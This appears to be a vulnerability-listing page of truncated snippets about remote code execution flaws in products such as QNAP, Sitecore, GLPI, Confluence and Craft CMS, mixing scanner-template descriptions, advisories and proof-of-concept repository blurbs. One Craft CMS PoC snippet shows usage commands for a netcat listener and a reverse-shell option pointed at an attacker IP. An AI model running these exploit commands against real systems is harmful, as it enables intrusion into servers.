QNAP QTS and Photo Station 6.0.3 - Remote Command Execution

This improper access control vulnerability allows remote attackers to gain unauthorized access to the system. To fix these vulnerabilities, QNAP recommend updating Photo Station to their latest versions. id: CVE-2019-7192 info: name: QNAP QTS and Photo Station 6.0.3 - Remote Command Execution...

Comodo Unified Threat Management Web Console - Remote Code Execution

Comodo Firewall & Central Manager UTM All Release before 2.7.0 & 1.5.0 are susceptible to a web shell based remote code execution vulnerability. id: CVE-2018-17431 info: name: Comodo Unified Threat Management Web Console - Remote Code Execution author: dwisiswant0 severity: critical description:...

H2 Database Console - JNDI Injection RCE

The org.h2.util.JdbcUtils.getConnection method of the H2 database takes as parameters the class name of the driver and URL of the database. An attacker may pass a JNDI driver name and a URL leading to a LDAP or RMI servers, causing remote code execution via the H2 web console versions before...

Sitecore Experience Platform Pre-Auth RCE

Sitecore XP 7.5 to Sitecore XP 8.2 Update 7 is vulnerable to an insecure deserialization attack where remote commands can be executed by an attacker with no authentication or special configuration required. id: CVE-2021-42237 info: name: Sitecore Experience Platform Pre-Auth RCE author: pdteam...

XStream <1.4.16 - Remote Code Execution

XStream before 1.4.16 is susceptible to remote code execution. An attacker can load and execute arbitrary code from a remote host via manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative...

GLPI <=10.0.2 - Remote Command Execution

GLPI through 10.0.2 is susceptible to remote command execution injection in /vendor/htmlawed/htmlawed/htmLawedTest.php in the htmlawed module. id: CVE-2022-35914 info: name: GLPI =10.0.2 - Remote Command Execution author: For3stCo1d,allendemoura severity: critical description: | GLPI through 10.0...

DotCMS - Arbitrary File Upload

DotCMS management system contains an arbitrary file upload vulnerability via the /api/content/ path which can allow attackers to upload malicious Trojans to obtain server permissions. id: CVE-2022-26352 info: name: DotCMS - Arbitrary File Upload author: h1ei1 severity: critical description: DotCM...

Atlassian Confluence Data Center and Server - Remote Code Execution

Detects a Remote Code Execution vulnerability in Confluence Data Center and Server versions prior to X.X affected versions. This issue allows authenticated attackers to execute arbitrary code. id: CVE-2024-21683 info: name: Atlassian Confluence Data Center and Server - Remote Code Execution autho...

Apache Struts2 S2-012 RCE

Apache Struts Showcase App 2.0.0 through 2.3.13, as used in Struts 2 before 2.3.14.3, allows remote attackers to execute arbitrary OGNL code via a crafted parameter name that is not properly handled when invoking a redirect. id: CVE-2013-1965 info: name: Apache Struts2 S2-012 RCE author: pikpikcu...

Change Detection - Server Side Template Injection

A Server Side Template Injection in changedetection.io caused by usage of unsafe functions of Jinja2 allows Remote Command Execution on the server host. id: CVE-2024-32651 info: name: Change Detection - Server Side Template Injection author: edoardottt severity: critical description: | A Server...

rcekit

RCEKit executed means the target executed the input. negative means the probes reached it. Version 3.0.1 · MIT · Python 3.8+ · zero third-party dependencies RCEKit is an RCE detection & confirmation toolkit for authorised penetration testing, red teaming and security research. Point it at a targe...

CVE-2026-12793

CVE-2026-12793 — JetFormBuilder ≤ 3.6.2 Unauthenticated privilege escalation → plugin upload → RCE. Affected Versions Vulnerable: = 3.6.3 Quick Usage Check single target python poc.py -u https://target.example --mode check Full exploit requires an existing low-privilege account python poc.py -u...

CVE-2026-44011-craft-rce-poc

CVE-2026-44011-craft-rce-poc CVE-2026-44011-craft-rce-poc Usage Single command: bash python3 craftrce.py -b http://target -u USER -p PASS -c 'id' Reverse shell base64-wrapped bash: terminal 1 nc -lvnp 4444 terminal 2 python3 craftrce.py -b http://target -u USER -p PASS --revshell 10.10.14.213 444...

CVE-2026-44011-poc

CVE-2026-44011: Craft CMS authenticated RCE PoC This Python script adapts the attack described in the Craft CMS security advisory. An authenticated Craft user can reach a vulnerable field-layout configuration path and cause the server to execute commands. Scope and requirements Affected versions...

CVE-2026-44011-craftcms-auth-rce

CVE-2026-44011 Craft CMS authenticated RCE PoC For authorized testing only. The Craft CMS advisory lists =4.0.0, =5.0.0, ' -c '' Required arguments: -b, --base-url: Craft URL, including http:// or https://. -u, --username: Control-panel username. -p, --password: Control-panel password. -c,...

CVE-2020-5902

🚨 CVE-2020-5902 — F5 BIG-IP TMUI RCE CVE-2020-5902 is a critical unauthenticated Remote Code Execution RCE vulnerability in the F5 BIG-IP Traffic Management User Interface TMUI / Configuration utility. 📌 Overview Disclosed by F5 on June 30, 2020 NVD published July 1, 2020, this flaw allowed...

CVE-2025-69460

CVE-2025-69460 – Simple Image Gallery 1.0 Remote Code Execution RCE Unauthenticated WriteUp CVE-2025-69460 – ExploitDB 50214...

CVE-2026-88962 Langflow OSS is affected by multiple vulnerabilities

IBM Langflow OSS 1.0.0 through 1.12.2 could allow a remote authenticated attacker to execute arbitrary code due to improper control of code generation...

PT-2026-107458

Name of the Vulnerable Software and Affected Versions LMCache versions 0.3.9 through 0.5.6 rc3 Description In multiprocess distributed mode, the software opens an unauthenticated ZeroMQ ROUTER on port 5555 by default to allow worker processes to register and share KV cache blocks. The issue occur...

PT-2026-107528

Unpatched vulnerabilities don't stay hidden on our atlas. CVE CRITICAL VULNERABILITY DETECTED CVE ID → CVE-2025-70521 Vendor → Unknown Severity → Critical — CVSS 9.8 Product → Unknown Date → 2026-10-07 A critical vulnerability Command Injection has been disclosed affecting Unknown. Patch...